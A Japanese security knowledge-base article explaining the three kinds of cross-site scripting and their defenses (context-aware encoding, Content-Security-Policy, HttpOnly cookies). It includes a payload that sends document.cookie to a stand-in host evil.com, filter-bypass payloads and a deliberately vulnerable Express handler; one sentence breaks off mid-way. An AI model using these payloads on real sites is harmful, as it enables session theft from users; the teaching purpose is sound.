arrow_backフィールドノートに戻る
WEB SECURITY 公開日 9 Aug 2026

Cross-Site Scripting: XSS が 2024 年でもなぜ問題なのか

反射型、格納型、DOM ベースの XSS の実践的な解説、攻撃者がどのように悪用するのか、そして実際にどう防ぐのかを説明します。

XSS は 20 年間 OWASP Top 10 に入っており、ペネトレーション テスターが最初にチェックすることの一つです。このバグは説明は簡単ですが完全に塞ぐのは厄介です。攻撃者が自分の JavaScript を被害者のブラウザで、あなたのサイトのオリジンの下で実行させるのです。それが起きると、攻撃者はクッキーを読み取り、リクエストを偽造し、ユーザーの前のページを改ざんすることができます。

3 つのパターン

反射型 XSS は古典的なフィッシング リンク攻撃です。検索ページが URL から ?q= を取り、それをエンコードせずに HTML に直接出力します。https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> のようなリンクを送り、ログイン状態でクリックされれば、セッション クッキーが攻撃者に送られます。

格納型 XSS はさらに悪いです。リンクすら必要ありません。コメント欄、プロフィール、サポート チケットの説明など、ユーザー入力が保存され後で他のユーザーに表示されるどこでも。ペイロードを一度投稿すれば、そのページを見に来たすべての訪問者が被害を受けます。ソーシャル エンジニアリングは必要ありません。

DOM ベース XSS はクライアント側のコードだけで成立します。サーバーは悪意あるペイロードを見ません。JavaScript が location.hashdocument.referrer のようなものを読んで innerHTMLeval() に入れるのです。このパターンは厄介です。サーバー側のログはまったく汚れないからです。

実際の発生原因

ほとんどの XSS バグは一つの誤りに帰着します。信頼できないデータを信頼できるマークアップやコードとして扱うことです。JavaScript で監視すべき一般的な sink: innerHTMLouterHTMLdocument.writeeval、文字列引数を取る setTimeout、jQuery の .html()。サーバー側では、デフォルトでオートエスケープしないテンプレート エンジン(HTML への素の文字列結合)が犯人です。

実例:Node/Express アプリが

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

と書いていると、即座に反射型 XSS が存在します。req.query.name はエンコードなしでレスポンスに直接入ります。/greet?name=<img src=x onerror=alert(document.domain)> にアクセスすれば、約 2 秒で確認できます。

確実に修正する

コンテキストを意識した出力エンコーディングが、実際の修正です。回避策ではなく。HTML ボディ、HTML 属性、JavaScript 文字列、URL コンテキストのそれぞれが異なるエンコーディング ルールが必要です。OWASP Java Encoder のようなライブラリか、Jinja2、React JSX、Handlebars のようなテンプレート エンジンのビルトイン オートエスケープが正しく対応します。React は特にテキスト コンテンツをデフォルトでエスケープします。だから dangerouslySetInnerHTML はそう命名されています。警告ラベルなのです。

入力検証は役に立ちますが、単独では不十分です。<script> タグをデニーリストするのは常に回避されます。<img src=x onerror=...><svg onload=...>、ほぼあらゆるタグのイベント ハンドラが機能します。期待されるフォーマットをアローリストする(メール正規表現、数値 ID)は二次層として問題ありませんが、適切な出力エンコーディングの代替にはなりません。

Content-Security-Policy が利用可能な最強の多層防御です。

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

のようなポリシーは、インライン スクリプトとサード パーティのスクリプト ソースを明示的に nonce 化されたかアローリストされたもの以外ブロックします。これはエンコーディングを抜けるほとんどの XSS ペイロードが実行されるのを止めます。本番環境の CSP で unsafe-inlineunsafe-eval は避けてください。保護の大半を無効にします。

クッキーを HttpOnlySecure フラグで設定して、成功した XSS でも document.cookie を通じてセッション クッキーを直接読めないようにします。注入を止めるわけではありませんが、被害範囲をかなり限定します。

自分でテストする

Burp Suite のアクティブ スキャナは多くの反射型と格納型 XSS を自動的に検出しますが、DOM ベース の場合は手動テストが重要です。DOMPurify 自体のテスト スイートのようなツール、または単にコードベースで innerHTML =eval( を grep すれば、驚くほど多くの検出結果が素早く出ます。手動プローブでは、ペイロード

この記事は AI の支援を受けて執筆し、Korra Studio の Michal Pilch(CISSP)が確認のうえ公開しました。

さらに先へ進む準備はできていますか?

これは Korra Studio ナレッジベースの 1 つのノートです。プラットフォームはすべてのトピックと 1 対 1 メンタリングをペアで提供します。

無料で始めるarrow_forward